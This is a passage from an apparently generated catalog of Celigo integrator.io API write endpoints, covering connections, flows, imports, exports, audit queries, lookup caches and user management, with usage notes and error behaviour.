celigo_post_v1_asynchelpers (write) — Create an async helper -- Creates a new async helper resource. The referenced `http.status._exportId` must be an existing export resource. If `http.submit.sameAsStatus` is `false`, also set `http.submit.resourcePath` to extract the async job identifier. via POST /v1/asynchelpers POST /api/v1/celigo/v1/asynchelpers. Scopes: api. celigo_post_v1_audit (write) — Query audit logs with multi-select filters -- The POST variant of the account-wide audit query, for filters the GET query string cannot express: each body filter is an array that matches entries with any of the listed values, and `resourceName` scopes results to an explicit list of resources. Response shape and ordering are identical to `GET /v1/audit`. Pagination, sorting, and time bounds stay in the query string — sending them in the body fails with 400 `invalid_request_body`. via POST /v1/audit POST /api/v1/celigo/v1/audit. Scopes: api. celigo_post_v1_audit_signedurl (write) — Get signed URL for audit CSV with multi-select filters -- The POST variant of the CSV signed-URL download, accepting the same multi-select filter body as `POST /v1/audit`. The response is identical to the GET variant: a signed URL valid for ~15 minutes plus `hasMore` for batching. Sorting and time bounds stay in the query string — sending `from`/`to` or pagination keys in the body fails with 400. via POST /v1/audit/signedURL POST /api/v1/celigo/v1/audit/signedURL. Scopes: api. celigo_post_v1_by_resourcetype_audit_signedurl (write) — Get signed URL to download audit logs CSV (for selected resources) -- Generates a signed URL for downloading a CSV export of audit logs for specific resources and their descendants. The signed URL expires after 15 minutes. When `hasMore` is true, pass the last CSV row's timestamp as `to` in the request body to fetch the next batch. via POST /v1/{resourceType}/audit/signedURL POST /api/v1/celigo/v1/{resourceType}/audit/signedURL. Scopes: api. celigo_post_v1_by_resourcetype_by_id_audit (write) — Query a resource's audit log with multi-select filters -- The POST variant of the resource-and-descendants audit query, accepting the same multi-select filter body as `POST /v1/audit`. Body filters apply within the resource's descendant set — e.g. filter an integration's audit trail to specific actions or sources. Response shape matches the GET variant. Pagination, sorting, and time bounds stay in the query string — sending them in the body fails with 400 `invalid_request_body`. via POST /v1/{resourceType}/{_id}/audit POST /api/v1/celigo/v1/{resourceType}/{_id}/audit. Scopes: api. celigo_post_v1_connections (write) — Create a connection -- Creates a new connection configuration that can be used to authenticate and connect to external systems and applications. To also register the new connection on one or more integrations in the same call, pass their ids in `__integrationIds`. Invalid lists reject the whole request (see the `400`, `404`, and `422` responses); failures during the post-save registration itself do not roll back the new connection and are reported in `__failedIntegrationRegistrations` on the `201` response. via POST /v1/connections POST /api/v1/celigo/v1/connections. Scopes: api. celigo_post_v1_connections_by_id_ping (write) — Ping an existing connection -- Runs the adaptor's ping routine against a saved connection to verify its credentials and network configuration still work; no data is read, written, or modified. The check is adaptor-specific (HTTP runs the ping relativeURI or baseURI, RDBMS/JDBC open a driver session, MCP issues a tools/list, NetSuite/Salesforce do a token or session validation). The request body is optional and ignored. Inspect the response body, not the HTTP status, to determine the outcome: success and adaptor-level failures both return HTTP 200 — success is `{code: 200}`, failures are `{errors: [...]}`. The only non-success status is 404, when `_id` does not resolve to a connection. For a not-yet-saved connection, use `POST /v1/connections/ping` instead. via POST /v1/connections/{_id}/ping POST /api/v1/celigo/v1/connections/{_id}/ping. Scopes: api. celigo_post_v1_connections_by_id_purgemessages (write) — Purge the message queue for a connection -- Purges all messages from the connection's message queue. This is a rate-limited operation — repeated calls within approximately 20 seconds are throttled. Returns an empty response on success. If the queue is already empty, the request fails with an `empty_connection_queue` error. via POST /v1/connections/{_id}/purgeMessages POST /api/v1/celigo/v1/connections/{_id}/purgeMessages. Scopes: api. celigo_post_v1_connectors (write) — Create a connector -- Creates a new connector (Integration App). **Partner-only endpoint.** via POST /v1/connectors POST /api/v1/celigo/v1/connectors. Scopes: api. celigo_post_v1_connectors_by_id_install (write) — Install a connector (Integration App) -- Triggers the install flow for a connector (Integration App). The connector must be associated with an integration that has the install function configured. Templates are installed via `POST /v1/integrations/template/{_id}` instead. via POST /v1/connectors/{_id}/install POST /api/v1/celigo/v1/connectors/{_id}/install. Scopes: api. celigo_post_v1_connectors_by_id_licenses (write) — Create a license for a connector -- Creates a new license for a connector. Supply the target user's email address in the request body — the backend resolves it to a user account. If the email is not a registered integrator.io user, an `invalid_user` error is returned. **Partner-only endpoint.** via POST /v1/connectors/{_id}/licenses POST /api/v1/celigo/v1/connectors/{_id}/licenses. Scopes: api. celigo_post_v1_ediprofiles (write) — Create an EDI profile -- Creates a new EDI profile for EDI X12 or EDIFACT document exchange. `fileType` is immutable after creation. Only `name` and `fileType` are required; all ISA/GS/UNB control fields default to safe values. via POST /v1/ediprofiles POST /api/v1/celigo/v1/ediprofiles. Scopes: api. celigo_post_v1_editransactions_query (write) — Query the EDI transaction log -- Returns EDI documents processed through B2B Manager flows, with envelope metadata (sender/receiver IDs, control numbers), document type, direction, and functional acknowledgement status. This is the data source behind the B2B Manager "Transactions" dashboard. Results are cursor-paginated — when more records exist beyond `limit`, the response includes `pageToken.next`. Pass it back as `pageToken` in the next request to get the next page. The server caps `limit` at 1000. Use `fileType` with a dated window (`startDate`/`endDate`) to keep result sets bounded. `faStatus` must be passed as an array when filtering. Unknown filter fields are silently ignored. To fetch the raw EDI file for a returned record, use `POST /v1/jobs/{_flowJobId}/files/signedURL` with the record's `s3Key`. via POST /v1/ediTransactions/query POST /api/v1/celigo/v1/ediTransactions/query. Scopes: api. celigo_post_v1_endusers_invite (write) — Invite an end user -- Finds or creates the user by email, creates an end-user access record, applies the requested group memberships and direct grants, and sends an invite email. Account owners cannot be invited as end users. Requires account owner or administrator access. via POST /v1/endusers/invite POST /api/v1/celigo/v1/endusers/invite. Scopes: api. celigo_post_v1_endusers_invite_bulk (write) — Invite end users in bulk -- Invites 1–100 end users in one request, applying the same optional `groupIds` and `directGrants` to every invite. Processing is sequential and partial-success: a failed item never aborts the batch, so the response is HTTP 200 with a per-email result even when some items fail. Only top-level structural errors (missing or non-array `emails`, more than 100 emails, non-array `groupIds`/`directGrants`) return 400. Requires account owner or administrator access. via POST /v1/endusers/invite/bulk POST /api/v1/celigo/v1/endusers/invite/bulk. Scopes: api. celigo_post_v1_environments (write) — Create an environment -- Creates a new environment. The environment starts disabled; use the toggle endpoint to enable it. `name` is the only required field and must be unique within the account. via POST /v1/environments POST /api/v1/celigo/v1/environments. Scopes: api. celigo_post_v1_eventreports (write) — Create an event report -- Queues generation of a new event report for the specified flows and time window. The report is created in `queued` status and transitions through `running` to `completed` (or `canceled`). `startTime` must be within the last 30 days and the span to `endTime` must not exceed 3 days. If `endTime` is omitted, the server defaults it to the current time. Poll `GET /v1/eventreports/{_id}` until `status` is `completed`, then download the CSV via `GET /v1/eventreports/{_id}/signedURL`. The create response includes `_requestedByUserId`; subsequent GET responses replace this with the `requestedByUser` object (name + email). via POST /v1/eventreports POST /api/v1/celigo/v1/eventreports. Scopes: api. celigo_post_v1_exports (write) — Create an export -- Creates a new export configuration that can be used to retrieve data from applications or external sources. via POST /v1/exports POST /api/v1/celigo/v1/exports. Scopes: api. celigo_post_v1_exports_by_id_clone (write) — Clone an export -- Creates a copy of an existing export. Supports optionally remapping referenced connections (via connectionMap). via POST /v1/exports/{_id}/clone POST /api/v1/celigo/v1/exports/{_id}/clone. Scopes: api. celigo_post_v1_exports_by_id_invoke (write) — Invoke an export and return its data -- Runs an existing export end-to-end and returns the fetched data (or errors) synchronously. Unlike `POST /v1/flows/{_id}/run`, which starts a full flow job, this endpoint invokes a **single export** in isolation and returns the raw result directly in the response body. The request body is optional — pass `{}` or omit the body entirely for exports that require no input. Some adaptor types accept a `data` array in the body to supply input records. On success, the response contains the export's fetched data. On application-level failure (e.g. the source system is unreachable), the endpoint still returns a successful HTTP status with the errors in an `errors` array — higher-level error codes are reserved for request-level validation (bad ID, missing auth). This endpoint executes the export against the live source system. `POST /v1/exports/preview` also queries the live source (reads only, no job) — prefer it when you only need to inspect fetched records. via POST /v1/exports/{_id}/invoke POST /api/v1/celigo/v1/exports/{_id}/invoke. Scopes: api. celigo_post_v1_exports_preview (write) — Preview the output of an export doc (no job created) -- Runs an export doc through the flow engine's preview pipeline and returns the sample data it would have emitted, along with stage-by-stage diagnostics and any errors encountered. **No Job record is created** and no flow-level state is updated — this is a stateless preview. Body is a complete export document (the shape you would POST to `/v1/exports`), typically without `_id`. The CLI uses it for two scenarios: - `ora exports invoke` with a doc on stdin → ad-hoc preview of a not-yet-saved export. - Agent-driven "preview + refine" loops where an LLM iterates on the export config and calls this endpoint to sample output each time. The scoped variant at `POST /v1/integrations/{_integrationId}/flows/{_flowId}/exports/preview` does the same thing but inherits flow + integration context (useful when the export references flow-scoped settings). Prefer the unscoped variant when previewing a standalone export. Use `test.limit` inside the body to cap the number of records returned. Configuration errors in the export doc surface in the `errors[]` and `stages[].errors[]` arrays within a 200 response; only structural validation failures (e.g. missing `_connectionId`) return 4xx. via POST /v1/exports/preview POST /api/v1/celigo/v1/exports/preview. Scopes: api. celigo_post_v1_filedefinitions (write) — Create a file definition -- Creates a new file definition. via POST /v1/filedefinitions POST /api/v1/celigo/v1/filedefinitions. Scopes: api. celigo_post_v1_flows (write) — Create a flow -- Creates a new flow. Flows are created enabled (`disabled: false`) by default — set `disabled: true` on create if the flow is not ready to run. At minimum, provide `name` and `_integrationId`. Do not leave the flow enabled with a `schedule` unless it is fully configured — it will start executing on schedule. For abstract/instance patterns, create the abstract flow first, then create instances with `_abstractFlowId`. When `_integrationId` is omitted, the flow is auto-assigned to the account's "Standalone flows" integration rather than left standalone. If that migration integration does not exist on the account, the request fails with `422 standalone_flows_not_supported`. Always pass an explicit `_integrationId`. via POST /v1/flows POST /api/v1/celigo/v1/flows. Scopes: api. celigo_post_v1_flows_by_id_by_stepid_retry (write) — Retry errored records -- Re-runs the per-record data snapshots captured when the listed errors occurred. A successful retry auto-resolves the underlying open-error record. A retry that fails again stays open (and may accumulate error history, depending on the adaptor). Only errors that carry a `retryDataKey` can be retried — typically these are record-level errors from imports or transforms. Connection-level errors (`classification: connection`) don't have a `retryDataKey`; to recover from those, re-run the whole flow after fixing the connection. **Response behavior splits on whether anything matched:** - At least one record matched — a supplied `retryDataKey`, or (in `selectAll` mode) a retriable open error on or before `lastErrorAt` → **200** with a `type: "retry"` Job record (the queued retry job; poll it via `GET /v1/jobs/{_id}`). A successful retry clears the original error from `GET .../errors` and moves it into `/resolved` with `resolvedBy` set to the user who triggered the retry. System-initiated auto-retries set `resolvedBy` to `"auto"` instead. - Nothing matched → **204** silent no-op. There is no per-key validation: the endpoint does not 400 on bogus keys; callers must poll `GET .../errors` to confirm any change. **Retry outcome semantics.** A retry that still fails generates a **new** error record with a new `errorId` (the original one is auto-resolved when the retry ultimately succeeds, or stays open pending next retry). Building a UI on top of this endpoint needs to reconcile the "before" and "after" error lists by `retryDataKey`, not `errorId`. To modify a record before retrying, call `GET .../{ retryDataKey}/data`, mutate the payload, `PUT` it back, then call this endpoint. Retried records go through the same page-processor pipeline as new records with no ordering guarantees. To retry the whole open-error queue without listing keys, send `selectAll: true` with a `lastErrorAt` high-water mark instead of `retryDataKeys` — one call retries every matching error, no matter how many (errors without a `retryDataKey` are skipped). via POST /v1/flows/{_id}/{_stepId}/retry POST /api/v1/celigo/v1/flows/{_id}/{_stepId}/retry. Scopes: api. celigo_post_v1_flows_by_id_by_stepid_retry_with_exponential_decay (write) — Retry errored records with exponential back-off -- Re-runs errored record snapshots using an exponential decay (back-off) strategy. Behaves like `POST .../retry` but schedules retries with increasing delays between attempts, reducing load on the target system during transient outages. **Response behavior splits on whether anything matched:** - At least one record matched — a supplied `retryDataKey`, or (in `selectAll` mode) a retriable open error on or before `lastErrorAt` → **200** with a full `type: "retry"` Job record. - Nothing matched → **204** silent no-op. The flow must be enabled (not disabled). Prefer this over `POST .../retry` when errors are caused by rate-limiting or transient target-system issues. Only errors with a `retryDataKey` can be retried — connection-level errors lack one and require a full flow rerun to recover. To retry the whole open-error queue without listing keys, send `selectAll: true` with a `lastErrorAt` high-water mark instead of `retryDataKeys`. via POST /v1/flows/{_id}/{_stepId}/retry_with_exponential_decay POST /api/v1/celigo/v1/flows/{_id}/{_stepId}/retry_with_exponential_decay. Scopes: api. celigo_post_v1_flows_by_id_clone (write) — Clone a flow -- Creates a copy of a flow along with all transitive dependencies (exports, imports, scripts). `_integrationId` is required, and `connectionMap` is required when the flow references connections — map a connection id to itself to reuse it, or to a different id to remap. Use `GET /v1/flows/{_id}/clone/preview` first to see what resources will be created and which connections need remapping. The cloned flow is always created `disabled: true`. via POST /v1/flows/{_id}/clone POST /api/v1/celigo/v1/flows/{_id}/clone. Scopes: api. celigo_post_v1_flows_by_id_jobs_by_jobid_logs_data_query (write) — Get per-stage execution log data for a record -- Returns the decoded log data (typically request/response bodies, transform input/output, or script `options.logs` entries) for a single `(step, stage)` tuple within a flow run. Stages are bubble-kind specific. The most useful values: - **Export / Lookup:** `apiCall` (HTTP request+response for HTTP exports), `transformation`, `outputFilter`, `responseMapping`. - **Import:** `apiCall`, `mapping`, `inputFilter`, `responseTransformation`. - **Router:** `routing` (branching decision). - **Any:** the `function` name from a configured script hook (e.g. `preMap`, `postMap`, `postSubmit`, `postResponseMap`, `preSavePage`) — populated only when the hook explicitly calls `options.logs.push(...)`. This is typically the terminal call in the drill-down sequence: `execution-logs` then `metadata/query` then `data/query`. For HTTP traces, set `stage: apiCall`. A 200 with `logs: []` means the stage ran but produced no log entry — usually because a script did not call `options.logs.push()`, or the stage is not instrumented for that adaptor. via POST /v1/flows/{_id}/jobs/{_jobId}/logs/data/query POST /api/v1/celigo/v1/flows/{_id}/jobs/{_jobId}/logs/data/query. Scopes: api. celigo_post_v1_flows_by_id_jobs_by_jobid_logs_metadata_query (write) — Query execution-log metadata for a record-at-step -- Returns per-step timing and outcome metadata for a single record as it traveled through a flow run. When the request includes `traceKey`, the response spans every step that shared that trace — typically the source export plus its downstream imports. Pull the `_expOrImpId`, `groupId`, `recordId`, and (optionally) `traceKey` values from a `GET /v1/flows/{_id}/jobs/{_jobId}/logs` entry. Pair this with `logs/data/query` to build a full per-record trace: this endpoint shows which steps were touched and timing; the data endpoint returns actual payloads. When `duplicateTraceKey` is `true`, the traceKey was seen on more than one record in the job, so results may mix records from retries or fan-out. Without `traceKey` in the request, `traceView` is `false` and only the single queried step is returned. via POST /v1/flows/{_id}/jobs/{_jobId}/logs/metadata/query POST /api/v1/celigo/v1/flows/{_id}/jobs/{_jobId}/logs/metadata/query. Scopes: api. celigo_post_v1_flows_by_id_jobs_cancel (write) — Cancel all running jobs for a flow -- Cancels every currently running job for the specified flow. This is the flow-scoped equivalent of cancelling individual jobs via `PUT /v1/jobs/{_id}` — it finds all in-progress jobs for the flow and requests cancellation in a single call. No request body is required. The response is an empty 204 on success. Cancellation is asynchronous — jobs may take a few seconds to fully stop after the 204 is returned. via POST /v1/flows/{_id}/jobs/cancel POST /api/v1/celigo/v1/flows/{_id}/jobs/cancel. Scopes: api. celigo_post_v1_flows_by_id_run (write) — Trigger a flow run -- Queues an on-demand run of the flow and returns the parent job id. The run is **asynchronous**: the response returns as soon as the job is queued; use `GET /v1/jobs/{_id}` (with the returned `_jobId`) or `GET /v1/flows/{_id}/jobs/latest` to poll for terminal status. The request body is optional. When omitted, the flow runs with its configured schedule behavior — for delta flows this means using the current `lastExportDateTime` as the lower bound. Pass `export.startDate` / `export.endDate` to override the delta window for this run only (the flow's checkpoint still advances on success). Pass `_exportIds` to limit execution to a subset of the flow's generators (useful for flows with many independent sources). Flow-level preconditions enforced by the platform: - The flow must not be `disabled`. - The flow must be in an enabled integration (when part of one). To trace a run end-to-end, arm debug logging before calling this, then use the returned `_jobId` with the execution-log endpoints. For delta backfills, prefer passing explicit `startDate`/`endDate` over editing the export's `lastExportDateTime` — the override is scoped to one run. A 200 with `_jobId` absent means the request was accepted but no job was queued, usually because another run is already in progress. via POST /v1/flows/{_id}/run POST /api/v1/celigo/v1/flows/{_id}/run. Scopes: api. celigo_post_v1_flows_by_id_test_run (write) — Test-run a flow -- Executes the flow in **test mode** and returns the test-run metadata synchronously. Unlike `POST /v1/flows/{_id}/run` (which queues an asynchronous production job), a test run executes inline against the flow's current configuration and records the per-step stages it produced. Test runs are kept in a **separate history** from production runs — the `flowJob` and `childJobs` returned here are test artifacts, not records you'll find via `GET /v1/jobs`. The top-level `metadata` map is keyed by step id; each value is the ordered list of stage names that step produced (e.g. `request`, `parse`, `router`, `input`). Use those step ids with `GET /v1/flows/{_id}/test/run/{runId}/{_stepId}` to inspect per-stage input/output and errors, or with `GET /v1/flows/{_id}/test/run/{runId}/{_stepId}/logs/requestAndResponse` for raw outbound HTTP captures. **Endpoint template applies across three resource families.** The same test-run shape also exists for Tools (`/v1/tools/{_id}/test/run`) and builder-mode APIs (`/v1/apis/{_id}/test/run`). Test-run state is short-lived and ephemeral — capture the `runId` (the `flowJob._id`) and read back any step detail soon after the run returns. via POST /v1/flows/{_id}/test/run POST /api/v1/celigo/v1/flows/{_id}/test/run. Scopes: api. celigo_post_v1_flows_runs_stats (write) — Get per-flow run statistics (dashboard aggregates) -- Returns **per-flow aggregate** run statistics — one element of `stats[]` per flow that has at least one run matching the request filter. Each aggregate carries totals (`numRuns`, `numSuccess`, `numError`, `numIgnore`), the currently-open error count (`numOpenError`), resolution attribution (`numResolvedByAuto` / `numResolvedByUser`), average runtime (`avgRuntime`), and timestamps (`lastExecutedAt`, `lastErrorAt`) plus a minimal inlined `flow{}` object for rendering. The Celigo dashboard uses this to paint its "All flows" summary in one call. Filters (`_flowIds`, `_integrationIds`, `time_gt`, `time_lte`, …) narrow which runs are rolled up into each aggregate — they do **not** filter which flows appear; flows with zero matching runs are simply omitted. **The window is the contract.** When `time_gt` is omitted the endpoint applies its default window (approximately the last 24 hours) rather than aggregating all history — runs older than the window silently drop out of every aggregate. Send `time_gt` explicitly for any other range. For individual job records rather than aggregates, use `GET /v1/jobs?_flowId=...`. For in-progress jobs, use `POST /v1/jobs/current`. via POST /v1/flows/runs/stats POST /api/v1/celigo/v1/flows/runs/stats. Scopes: api. celigo_post_v1_groups (write) — Create a group -- Creates a group for end-user access management. Group names must be unique within the account (case-insensitive), and any `_roleIds` or `resourceGrants._resourceId` values must reference resources owned by the same account. Requires account owner or administrator access. via POST /v1/groups POST /api/v1/celigo/v1/groups. Scopes: api. celigo_post_v1_groups_by_groupid_members (write) — Add end users to a group -- Bulk-adds up to 100 end users to the group as manual memberships. The operation is idempotent for end users already in the group. Requires account owner or administrator access. via POST /v1/groups/{_groupId}/members POST /api/v1/celigo/v1/groups/{_groupId}/members. Scopes: api. celigo_post_v1_groups_by_groupid_members_remove (write) — Remove end users from a group -- Bulk-removes manual memberships from the group. Only manual memberships can be removed this way — attempting to remove an IdP-synced membership returns 409; change the IdP group mapping instead. Uses POST rather than DELETE so the request body survives proxies and CDNs. Requires account owner or administrator access. via POST /v1/groups/{_groupId}/members/remove POST /api/v1/celigo/v1/groups/{_groupId}/members/remove. Scopes: api. celigo_post_v1_httpconnectors (write) — Create an HTTP connector -- Creates a new HTTP Connector framework definition. `name` is required, along with either `versions` (flat connector) or `apis` (grouped connector). via POST /v1/httpconnectors POST /api/v1/celigo/v1/httpconnectors. Scopes: api. celigo_post_v1_iclients (write) — Create an iClient -- Creates a new iClient. The `provider` field is required and determines which credential sub-object must be populated. via POST /v1/iclients POST /api/v1/celigo/v1/iclients. Scopes: api. celigo_post_v1_imports (write) — Create an import -- Creates a new import configuration that can be used to send data to applications or external destinations. Celigo documents this same endpoint on 3 resource pages: imports (createImport) plus ai-agents (createAiAgent), guardrails (createGuardrail). They are one HTTP operation -- the resource kind is selected by the request body, not by a distinct path. via POST /v1/imports POST /api/v1/celigo/v1/imports. Scopes: api. celigo_post_v1_imports_by_id_clone (write) — Clone an import -- Creates a copy of an existing import. Supports optionally remapping referenced connections (via connectionMap). via POST /v1/imports/{_id}/clone POST /api/v1/celigo/v1/imports/{_id}/clone. Scopes: api. celigo_post_v1_imports_by_id_invoke (write) — Invoke an import with data and return per-record results -- Runs an existing import against the destination system with the supplied data records and returns per-record results synchronously. The request body should contain a `data` array of records to import. Each record is processed through the import's mappings, transformations, and hooks before being sent to the destination. The response is an **array** of per-record result objects, each containing a `statusCode`, the transformed `_json` payload, and any `errors` encountered during processing. This endpoint writes to the destination system — and so does `POST /v1/imports/preview` (verified to execute the composed request), so neither is a dry run against a production destination. A 200 response may still contain per-record failures in each element's `errors` array. via POST /v1/imports/{_id}/invoke POST /api/v1/celigo/v1/imports/{_id}/invoke. Scopes: api. celigo_post_v1_imports_preview (write) — Preview the output of an import doc (no job created) -- Runs an import doc through the flow engine's preview pipeline against supplied sample data and returns the per-stage output. **The composed request IS executed against the live destination** — previewing a create/update import against a production system writes real records (a saved `mockResponse` does NOT protect this surface; it substitutes only in flow test runs and flow-builder previews), so point previews at sandbox destinations when a live write is not acceptable. There is no request option that disables the send: flags such as `preview`, `sendAndPreview`, or `send` — top level, inside an `options` object, or on the import doc — are silently ignored and the request executes regardless. For a compose-only preview of the destination request, use `POST /v1/pageProcessors/preview` with `{preview: true}` on the target entry (requires a flow context). No Job record is created and no flow-level state is updated. The integrator.io UI never calls this path — the import editor's "Preview" and "Send" buttons both go through `POST /v1/pageProcessors/preview`. This endpoint is the API-only, unscoped counterpart to `POST /v1/integrations/{_integrationId}/flows/{_flowId}/imports/preview` — prefer this variant when previewing a standalone import that is not yet associated with a flow. via POST /v1/imports/preview POST /api/v1/celigo/v1/imports/preview. Scopes: api. celigo_post_v1_imports_preview_compare (write) — Preview and compare AI agent configurations -- Runs one or more AI agent import configurations against the same input data and returns the LLM response, token usage, and timing for each. No job is created and no state is updated — this is a stateless preview. The UI uses this to compare model or prompt variations side-by-side before saving. Each entry in `imports` is a full import object (the same shape returned by `GET /v1/imports/{_id}`) with the `aiAgent` block configured for the variant being tested. Each entry in `imports` must include `adaptorType: "AiAgentImport"` and a valid `aiAgent` configuration. A `_connectionId` is required unless the agent uses platform-managed credentials. The response array is positional — `response[i]` corresponds to `imports[i]`. A per-entry `statusCode: 422` with `errors` means that specific configuration failed, not that the overall request failed. via POST /v1/imports/preview/compare POST /api/v1/celigo/v1/imports/preview/compare. Scopes: api. celigo_post_v1_integrations (write) — Create an integration -- Creates a new integration. Only `name` is required — the server populates all other fields with defaults. Do not include Integration App fields (`_connectorId`, `_templateId`, `install`, `installSteps`, etc.) unless you are creating an IA installation. via POST /v1/integrations POST /api/v1/celigo/v1/integrations. Scopes: api. celigo_post_v1_integrations_by_id_changeedition (write) — Change the edition of an Integration App integration -- Triggers an edition change for an Integration App integration that has a `changeEdition` function configured. Requires the integration to belong to an Integration App with edition support. via POST /v1/integrations/{_id}/changeEdition POST /api/v1/celigo/v1/integrations/{_id}/changeEdition. Scopes: api. celigo_post_v1_integrations_by_id_clone (write) — Clone an integration -- Creates a copy of an existing integration. Supports optionally remapping referenced connections (via connectionMap). via POST /v1/integrations/{_id}/clone POST /api/v1/celigo/v1/integrations/{_id}/clone. Scopes: api. celigo_post_v1_integrations_by_id_initchild (write) — Initialize a child integration -- Initializes a child integration under an Integration App parent. Requires the parent integration to belong to an Integration App with an init script configured. via POST /v1/integrations/{_id}/initChild POST /api/v1/celigo/v1/integrations/{_id}/initChild. Scopes: api. celigo_post_v1_integrations_by_id_revisions_create (write) — Create a snapshot revision -- Takes a point-in-time snapshot of the integration's current state and writes it to the revision history. The returned revision has `type: snapshot` and `status: completed` immediately -- snapshots are synchronous and do not require an apply step. This is the only revision type that can be created via the public API; `pull` and `revert` revisions require the Celigo UI. via POST /v1/integrations/{_id}/revisions/create POST /api/v1/celigo/v1/integrations/{_id}/revisions/create. Scopes: api. celigo_post_v1_integrations_by_integrationid_flows_by_flowid_exports_preview (write) — Preview export data -- Preview export data from a specific export within a flow. This endpoint allows you to preview the data that would be exported, including the exported data, URIs to the data in the source app, and processing stages information. via POST /v1/integrations/{_integrationId}/flows/{_flowId}/exports/preview POST /api/v1/celigo/v1/integrations/{_integrationId}/flows/{_flowId}/exports/preview. Scopes: api. celigo_post_v1_integrations_by_integrationid_flows_by_flowid_imports_preview (write) — Preview import data -- Runs the import pipeline — field mappings, transformations, and hooks — against the supplied sample data and returns the per-record results. Treat the preview as capable of executing the composed destination request: its unscoped sibling (`POST /v1/imports/preview`) is verified to write real records to live destinations and offers no option to disable the send, so do not preview create/update imports against production systems with data you do not want written. For a compose-only preview of the destination request, use `POST /v1/pageProcessors/preview` with `{preview: true}` on the target entry. via POST /v1/integrations/{_integrationId}/flows/{_flowId}/imports/preview POST /api/v1/celigo/v1/integrations/{_integrationId}/flows/{_flowId}/imports/preview. Scopes: api. celigo_post_v1_integrations_template (write) — Install a template from an uploaded zip -- Installs a template from a previously uploaded zip file. The `runKey` in the request body ties this request to the zip upload (obtained from `GET /v1/s3SignedURL`). via POST /v1/integrations/template POST /api/v1/celigo/v1/integrations/template. Scopes: api. celigo_post_v1_integrations_template_by_id (write) — Install an integration from a template -- Installs an integration from a published template. The caller provides a `connectionMap` that maps each template-defined connection ID to an actual connection ID in the caller's account. Every template connection must appear as a key in `connectionMap`. via POST /v1/integrations/template/{_id} POST /api/v1/celigo/v1/integrations/template/{_id}. Scopes: api. celigo_post_v1_invite_multiple (write) — Invite users to the account -- Invite one or more users by email. Each entry in the response array corresponds to the email at the same index — check `statusCode` per entry for partial failures. via POST /v1/invite/multiple POST /api/v1/celigo/v1/invite/multiple. Scopes: api. celigo_post_v1_jobs_by_id_files_signedurl (write) — Get signed URL(s) to download job files -- Returns short-lived S3 pre-signed URLs for downloading files produced by the job (e.g. the rows exported to a CSV, an error-record dump, or a page-processor artifact). The URLs are typically valid for ~15 minutes. If `fileIds` is omitted in the request body, all of the job's current file artifacts are returned. If provided, only the matching files are included. Inspect the job's `files[]` array first (via `GET /v1/jobs/{_id}`) to discover available file IDs. Jobs with no files (common for `import` child jobs or jobs past `purgeAt`) return `204 No Content`. File ids are registered per job: if none of the requested `fileIds` are registered to this job (e.g. the file id belongs to a different job's run), the endpoint also returns `204 No Content` with an empty body rather than an error. The URLs expire after approximately 15 minutes -- fetch immediately, do not persist. via POST /v1/jobs/{_id}/files/signedURL POST /api/v1/celigo/v1/jobs/{_id}/files/signedURL. Scopes: api. celigo_post_v1_jobs_current (write) — List in-progress jobs (dashboard) -- Returns a paginated list of currently in-progress jobs for the dashboard -- jobs whose `status` is one of `queued`, `running`, or `canceling`. Jobs that have reached a terminal state (`completed`, `failed`, `canceled`, `retried`) are not returned; use `POST /v1/flows/runs/stats` for run history. The request body contains all filters -- there are no query-string parameters. Narrow to a specific flow or integration with `_flowIds` / `_integrationIds` (AND-combined). via POST /v1/jobs/current POST /api/v1/celigo/v1/jobs/current. Scopes: api. celigo_post_v1_jobs_family (write) — Batch-fetch job families -- Returns job families for an array of job ids, in one request. Each item in the response array has the same shape as a single `GET /v1/jobs/{_id}/family` call (a parent job with inlined `children`). **Size limit: 1000 ids per request.** The server rejects requests with more than 1000 entries with HTTP **403** (not 400) and `{code: "invalid_request", message: "Number of objects in the request exceeds maximum allowed limit 1000"}`. The Celigo UI chunks at 50 for its own UX reasons, but the API ceiling is 1000. **Mixed-id behavior (asymmetric):** - Valid + unknown 24-hex ids in the same array → **200** with only the resolved entries; unknown ids are silently dropped (no `errors[]` alongside). - All ids unknown → **404** with `{errors: [{code: "invalid_ref", source: "internal", message: "Job not found: "}]}`. - Any id that isn't a 24-char hex string anywhere in the array → **400** `invalid_ref "Please provide a valid _id."` — the whole request fails. - Duplicate ids are **deduped** server-side (same id ×N → one entry). - Empty array `[]` or non-array body (e.g. `{}`) → **400** `invalid_request "Request body should be an ObjectID array."`. - Missing `Content-Type: application/json` → **415** `{message: "Content-Type should equal application/json"}`. The response array has no guaranteed ordering; match items by `_id` rather than by index. Unknown ids are silently dropped -- callers that need to detect missing ids must diff the request and response id sets. via POST /v1/jobs/family POST /api/v1/celigo/v1/jobs/family. Scopes: api. celigo_post_v1_lookupcaches (write) — Create a lookup cache -- Creates a new empty lookup cache. Only `name` is required. Populate it afterwards via `POST /v1/lookupcaches/{_id}/data`. via POST /v1/lookupcaches POST /api/v1/celigo/v1/lookupcaches. Scopes: api. celigo_post_v1_lookupcaches_by_id_data (write) — Upsert entries into a lookup cache -- Writes key-value entries to a lookup cache. Keys that already exist are overwritten; new keys are created. Keys are strings; values may be strings or objects — arrays at the top level are rejected (wrap them in an object). One invalid value fails the entire batch with `400 invalid_value`. The service rejects batches larger than ~1000 entries or ~5 MB of JSON. Callers uploading more than that should split their payload; the Celigo CLI auto-batches at 1000 entries / 5 MB and concatenates the per-key results. Each cache is capped at 50 MB and the per-environment aggregate is 1 GB. via POST /v1/lookupcaches/{_id}/data POST /api/v1/celigo/v1/lookupcaches/{_id}/data. Scopes: api. celigo_post_v1_lookupcaches_by_id_getdata (write) — Read entries from a lookup cache -- Returns entries stored in a lookup cache. Called as `POST` (not `GET`) so the query — explicit keys or a prefix — can travel in the request body. Body variants: - omitted or `{}` → first page of all entries (up to ~1000, unordered). - `{keys: [...]}` → one entry per requested key. Hits carry `value`; misses carry `error: {message}` — missing keys are **reported**, not silently omitted. Branch on `error` vs `value` when consuming the response. - `{startsWith: "prefix"}` → every entry whose key begins with `prefix` (case-sensitive). `keys` and `startsWith` are treated as mutually exclusive client-side; if both are supplied the server honors `keys` and ignores `startsWith`. Keys are case-sensitive. There is no pagination cursor for unfiltered reads; for caches larger than ~1000 entries, use a prefix scheme with `startsWith`. via POST /v1/lookupcaches/{_id}/getData POST /api/v1/celigo/v1/lookupcaches/{_id}/getData. Scopes: api. celigo_post_v1_mcpoauthproviders (write) — Create an MCP OAuth provider -- Creates a reusable OAuth provider that MCP servers can reference via `_mcpOAuthProviderId`. `name`, `issuerURL`, and `audience` are required. Set `useIntrospection: true` with `clientId`/`clientSecret` to support opaque (non-JWT) tokens. via POST /v1/mcpoauthproviders POST 